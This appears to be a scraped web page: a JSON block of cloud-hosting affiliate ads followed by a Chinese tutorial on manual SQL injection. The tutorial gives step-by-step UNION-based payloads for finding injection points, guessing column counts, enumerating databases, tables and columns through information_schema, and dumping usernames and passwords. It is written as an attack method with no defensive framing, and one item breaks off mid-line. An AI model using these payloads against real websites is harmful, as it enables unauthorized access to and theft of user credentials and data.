[{"createTime":1735734952000,"id":1,"img":"hwy_ms_500_252.jpeg","link":"https://activity.huaweicloud.com/cps.html?fromacct=261f35b6-af54-4511-a2ca-910fa15905d1&utm_source=V1g3MDY4NTY=&utm_medium=cps&utm_campaign=201905","name":"华为云秒杀","status":9,"txt":"华为云38元秒杀","type":1,"updateTime":1735747411000,"userId":3},{"createTime":1736173885000,"id":2,"img":"txy_480_300.png","link":"https://cloud.tencent.com/act/cps/redirect?redirect=1077&cps_key=edb15096bfff75effaaa8c8bb66138bd&from=console","name":"腾讯云秒杀","status":9,"txt":"腾讯云限量秒杀","type":1,"updateTime":1736173885000,"userId":3},{"createTime":1736177492000,"id":3,"img":"aly_251_140.png","link":"https://www.aliyun.com/minisite/goods?userCode=pwp8kmv3","memo":"","name":"阿里云","status":9,"txt":"阿里云2折起","type":1,"updateTime":1736177492000,"userId":3},{"createTime":1735660800000,"id":4,"img":"vultr_560_300.png","link":"https://www.vultr.com/?ref=9603742-8H","name":"Vultr","status":9,"txt":"Vultr送$100","type":1,"updateTime":1735660800000,"userId":3},{"createTime":1735660800000,"id":5,"img":"jdy_663_320.jpg","link":"https://3.cn/2ay1-e5t","name":"京东云","status":9,"txt":"京东云特惠专区","type":1,"updateTime":1735660800000,"userId":3},{"createTime":1735660800000,"id":6,"img":"new_ads.png","link":"https://www.iodraw.com/ads","name":"发布广告","status":9,"txt":"发布广告","type":1,"updateTime":1735660800000,"userId":3},{"createTime":1735660800000,"id":7,"img":"yun_910_50.png","link":"https://activity.huaweicloud.com/discount_area_v5/index.html?fromacct=261f35b6-af54-4511-a2ca-910fa15905d1&utm_source=aXhpYW95YW5nOA===&utm_medium=cps&utm_campaign=201905","name":"底部","status":9,"txt":"高性能云服务器2折起","type":2,"updateTime":1735660800000,"userId":3}]
sql注入,说白了本质就是一个应用sql语句构造程序的一个过程,通过在web中输入代码使后台认为其是数据便注入源码之中,从而达到某些意想不到的结果
手工查找注入点:
1. 1 #正常访问
2. 1' and 1=1; # 是不是跟正常结果一样
3. 1' and 1=2; # 是不是没有结果
4. 1' order by 1,2; # 猜列数
5. 1' and 1=2 union all select 1, 2; # 查看是否可以使用union all
6. 1' and 1=2 union all select 1, database(); # 获取当前数据库
7. 1' and 1=2 union all select TABLE_SCHEMA, TABLE_NAME from
其下阐述一点基本的sql注入原理和基本的注入步骤
1.寻找注入点,构造闭合直接在网页的地址口进行手工注入 url?id=1 所猜闭合 1=2 --+
若web报错,及无执行该语句,猜错;反正web崩溃及执行该语句,猜对 常见闭合 ( ) “ ” ' ' [ ] {
} 或者直接无闭合
2.查看当前表总共有多少列 url?id=1 order by 所猜测的数字 --+
2.寻找显示位 url?id=-1’ union all select 1,2,3 --+
3.定位该网页所选用数据库 database()当前数据库 version() 数据库版本号
4.通过数据库查找web所用表 url?id=-1’ union all select 1,table_name,3 from
information_schema.tables where table_schema=’当前数据库’ --+
5.通过已知数据库和表名查找该表内所有列名 url?id=-1’ union all select 1,column_name,3 from
information_schema.columns where table_schema=’当前数据库’ and table_name=’当前表名’ --+
6.最后一只数据库,表名,列名后,直接查询数据库中的用户名和密码
url?id=-1 union all select 1,用户名,密码 from 表名
PS:若显示内容过少可调用函数group_concat(要查找内容) 即可将行与列互换显示
--+ 是#注释符的url转码